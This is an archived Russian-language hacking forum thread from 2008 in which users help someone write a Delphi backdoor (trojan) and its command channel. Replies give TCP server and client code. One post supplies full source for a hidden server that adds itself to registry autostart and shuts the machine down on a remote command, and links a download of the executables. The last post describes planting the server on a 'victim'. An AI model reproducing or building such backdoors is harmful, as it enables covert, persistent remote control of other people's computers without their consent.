PDA

Просмотр полной версии : Бекдор. Передача команд


ronald
03.11.2008, 13:36
Привет всем!
Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды.
К примеру:
Client: reboot
Server получает и идёт выполнение команды
ExitWindowsEx(EWX_REBOOT,0);
Подскажите как?

De-visible
03.11.2008, 13:41
Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?

ronald
03.11.2008, 13:45
мне непонятен именно сам механизм анализа переданной команды сервером

_nic
03.11.2008, 18:07
мне непонятен именно сам механизм анализа переданной команды сервером
А чего тут не понятного?Тут подумать и все станет понятно :D
Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.

reza4ok
03.11.2008, 21:30
Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:

TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть
TcpServer1.Active := True; // открывается порт
Потом идёт обработка команды
u:=false; //переменной U присваеваем ложь
begin
repeat
sleep(1000);
if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру
until U;
end;

Теперь кодиш клиент:
TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := '1111'; // порт такой же как у сервера
TcpClient1.Active := True;
Ну а что бы послать команды используй:
TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х
Но здесь мождна обойтись и без Edit2.Text а просто кнопкой
Надеюсь написал то что ты хотел :-)

Gulik
07.11.2008, 01:00
Полные исходники:


Нужно Form1 убрать из Avto Create
Сервер
program Intersec;

uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
var
WhEvent : THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.

unit Unit1;

interface

uses
Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
RegIni : TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
RegIni.Free;
ServerSocket1.Active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='Reboot' then
ExitWindowsEx(EWX_SHUTDOWN, 0); // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;

end.

Клинет:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
Label1: TLabel;
Edit2: TEdit;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Active:=True;
ClientSocket1.Socket.SendText(Edit2.Text);
ClientSocket1.Active:=False;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
if ClientSocket1.Active then
ClientSocket1.Active:=False;
end;

end.

Так же можно скачать (http://depositfiles.com/files/uvkuoroc4) размер 384.93 KB

В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.

LEE_ROY
07.11.2008, 04:48
в примерах от борланда вроде была работа с сокетами на станд.компонентах ....

slesh
07.11.2008, 10:19
o_O делфи + vcl =бекдор
Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее.
А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно
типа такой пакет строй:CMD_ID_1#CMD_ID_2#
другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа #
А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY
т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов )
Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048

_Pantera_
07.11.2008, 10:47
мне непонятен именно сам механизм анализа переданной команды сервером

Тут все очень просто. Описывю в двух словах:
У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример:

Сервер - открываем порт и ждем подключения
Кслиент- конектимся на порт
Клиент - отправляем строку текста "open" на сервер
Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром)
и т.д пока не будет получена команда на дисконект